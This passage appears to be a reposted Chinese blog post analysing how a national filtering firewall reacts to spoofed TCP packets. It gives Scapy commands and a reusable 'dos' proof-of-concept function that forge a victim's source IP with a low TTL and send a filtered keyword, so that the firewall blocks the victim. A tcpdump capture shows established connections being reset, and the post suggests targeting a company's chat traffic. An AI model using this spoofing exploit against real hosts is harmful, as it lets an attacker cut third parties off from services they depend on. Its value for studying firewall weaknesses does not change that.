注意我在偽造ttl的時候使用ttl=10,這個時候可以避免資料包傳到真正的Google伺服器,伺服器返回ack的時候被偽造的IP會發rst重置連結而導致發起資料失敗,防火牆會看到這個rst包而認為後面的push包已經過時。通過發出上面的這三個偽造的資料包,我們就可以讓64.233.189.103對我的IP不可訪問,可以看到其中的包括源埠,目的埠,序列號都是我自己定義的,在防火牆看來,就是我在跟64.233.189.103發起非法連結,畢竟它只能完全信任我,它沒有其他的可以信任:),想讓121.121.121.121不能訪問Google的80埠只需要傳送下面三個包:
>>> send(IP(dst=”64.233.189.103″,src=”121.121.121.121″,ttl=10)/TCP(dport=80,sport=2222,flags=”S”,seq=1234567))

>>> send(IP(dst=”64.233.189.103″,src=”121.121.121.121″,ttl=10)/TCP(dport=80,sport=2222,flags=”A”,seq=1234568))

>>> send(IP(dst=”64.233.189.103″,src=”121.121.121.121″,ttl=10)/TCP(dport=80,sport=2222,flags=”P”,seq=1234568)/”GET /q=freenet/freenet&oq=&aqi=1 HTTP/1.1″)
甚至可以利用這個對其他的應用如gtalk進行dos,我們只要知道某個公司的出口ip,然後羅列gtalk的使用ip和埠就可以做到,非常簡單,現在很多的網站往國外搬,那你有不有考慮本文提到的風險呢?有的公司甚至將Mail伺服器放置在國外……

但是也可以看到,我們已經實現將後續的連結斷開,因為tcp連結序列號的未知性,利用上面提到的貌似還不能讓已經建立完成的tcp連結reset,但實際上這款有愛的過濾系統已經幫我們想到了,同時用nc跟Google建立兩個連結,在其中一個連結裡觸發規則,然後在另一個無辜的連結只要被防火牆發現,就會立刻被reset了,看如下的抓包:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

20:26:52.574643 IP (tos 0×0, ttl 64, id 55786, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60949 > 64.233.189.147.80: S, cksum 0×339b (correct), 1962684567:1962684567(0) win 5840 

20:26:52.617778 IP (tos 0×0, ttl 51, id 15574, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.147.80 > 114.249.114.249.60949: S, cksum 0×8801 (correct), 4247640462:4247640462(0) ack 1962684568 win 5672 

20:26:52.617791 IP (tos 0×0, ttl 64, id 55787, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60949 > 64.233.189.147.80: ., cksum 0xcc7d (correct), 1962684568:1962684568(0) ack 4247640463 win 46
20:27:00.456284 IP (tos 0×0, ttl 64, id 60678, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60979 > 64.233.189.147.80: S, cksum 0×5ebc (correct), 1983571278:1983571278(0) win 5840 

20:27:00.499066 IP (tos 0×0, ttl 51, id 4036, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.147.80 > 114.249.114.249.60979: S, cksum 0xc1d9 (correct), 816454471:816454471(0) ack 1983571279 win 5672 

20:27:00.499074 IP (tos 0×0, ttl 64, id 60679, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60979 > 64.233.189.147.80: ., cksum 0×0656 (correct), 1983571279:1983571279(0) ack 816454472 win 46
20:27:18.827802 IP (tos 0×0, ttl 64, id 60680, offset 0, flags [DF], proto: TCP (6), length: 77) 114.249.114.249.60979 > 64.233.189.147.80: P, cksum 0×02a9 (incorrect (-> 0xd051), 1983571279:1983571304(25) ack 816454472 win 46 

20:27:18.870912 IP (tos 0×0, ttl 51, id 4036, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 > 114.249.114.249.60979: ., cksum 0×76b1 (correct), 816454472:816454472(0) ack 1983571304 win 89 

20:27:19.289520 IP (tos 0×0, ttl 64, id 60681, offset 0, flags [DF], proto: TCP (6), length: 53) 114.249.114.249.60979 > 64.233.189.147.80: P, cksum 0×0291 (incorrect (-> 0×6b05), 1983571304:1983571305(1) ack 816454472 win 46 

20:27:19.334402 IP (tos 0×0, ttl 51, id 4037, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 > 114.249.114.249.60979: ., cksum 0×7315 (correct), 816454472:816454472(0) ack 1983571305 win 89 

20:27:19.338648 IP (tos 0×0, ttl 52, id 64, offset 0, flags [none], proto: TCP (6), length: 40) 64.233.189.147.80 > 114.249.114.249.60979: R, cksum 0×0142 (correct), 816454472:816454472(0) win 29119
20:27:37.856781 IP (tos 0×0, ttl 64, id 55788, offset 0, flags [DF], proto: TCP (6), length: 67) 114.249.114.249.60949 > 64.233.189.147.80: P, cksum 0×029f (incorrect (-> 0×4d19), 1962684568:1962684583(15) ack 4247640463 win 46 

20:27:37.900887 IP (tos 0×0, ttl 51, id 15574, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.147.80 > 114.249.114.249.60949: ., cksum 0×6aa0 (correct), 4247640463:4247640463(0) ack 1962684583 win 89 

20:27:37.911380 IP (tos 0×0, ttl 52, id 64, offset 0, flags [none], proto: TCP (6), length: 40) 64.233.189.147.80 > 114.249.114.249.60949: R, cksum 0xd646 (correct), 4247640463:4247640463(0) win 4621
這個時候抓包的時候由於我換了伺服器注意ttl已經跟之前不一樣了,但是那個id=64露出了尾巴,前面三個包是第一個tcp連結,埠是60949,後面一個連結的埠是60979,下面的是60979觸發規則被reset掉了,然後本來正常的第二個連結一旦發出了資料包就立刻被reset,充分證明了這個聯動的迅速和及時:)

那我們就有了滿篇廢話之後的一個簡單的結論,dos國內和國外的連結是可能的,無論是建立好的還是未建立的,在scapy裡的poc函式如下:
def dos(srcip, dstip , tport ):

send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags=”S”,seq=3334567))

send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags=”A”,seq=3334568))

send(IP(dst=dstip,src=srcip,ttl=10)/TCP(dport=tport,sport=3223,flags=”P”,seq=3334568)/”GET /?q=freenet/freenet HTTP/1.1

”)

dos(”114.249.114.249″,”64.233.189.103″,80);

最後再說說前面的問題,如何在資料包完全被偽造的時候判斷裝置的物理位置,很明顯,還是利用TTL:
>>> send(IP(dst=”64.233.189.103″,src=”121.121.121.121″,ttl=8)/TCP(dport=80,sport=2222,flags=”P”,seq=1234568)/”GET /q=freenet/freenet&oq=&aqi=1 HTTP/1.1″)
在ttl=8的時候,我們依然收到了系統的重置包,這樣就可以判斷資料包被旁路的位置了:)
0×03 後話
從技術角度來講,避免這種方式的攻擊會比較困難,防火牆作為一個安全裝置是不能對正常的使用造成影響的,所以檢測的方式來說還是比較被動,譬如不能實時的丟棄一個資料包,前面我就很奇怪為什麼防火牆不直接丟棄發起連結的syn包或者發起非法連結的psh包呢,這是因為防火牆整個架構和設計造成的,整個資料包已經到達伺服器了,他不能丟棄。同樣,由於架構的原因,我們無法使同一條tcp的資料流永遠經過同一個路由器同一個裝置,所以我們無法對一個資料包的有效性做驗證,而即使可以驗證整個請求的有效性也可以看到,在防火牆兩側一起愚弄防火牆是多麼容易的事情,跟以前的反彈穿透防火牆一樣,利用ttl的差異我們一樣可以bypass掉對一個資料包做真實的有效性驗證,這裡包括其他廠商的如Cisco等裝置都可能會有這種問題。我不知道對於一個裝置來說,拋棄一個ttl過小的包是否明智,防火牆是旁路在裝置裡,也無法對ttl比較小的包做到實時的丟棄,一旦發現發現有ttl過小的包肯定不能直接放過,因為可能別人就利用這個來bypass防火牆,那麼必須對ttl過小的包做處理,處理包括響應rst連結要求重置,這的確會緩解本文提到的問題,但是不知道這麼複雜的邏輯會不會帶來新的問題,邏輯可能本身就是漏洞。在TTL之外,而相信其他的畸形的資料包一樣可能造成裝置處理上的失誤,只要伺服器和裝置對資料包處理不一致就可以實現,而這種不一致性因為種種原因是非常多的。本文只是對學習的網路知識做了一次實踐,感謝歷來幫助我學習的同學,你們知道你們是誰:)
本文轉自 小王 51CTO部落格,原文連結:http://blog.51cto.com/xiaowang/300773,如需轉載請自行聯絡原作者


相關文章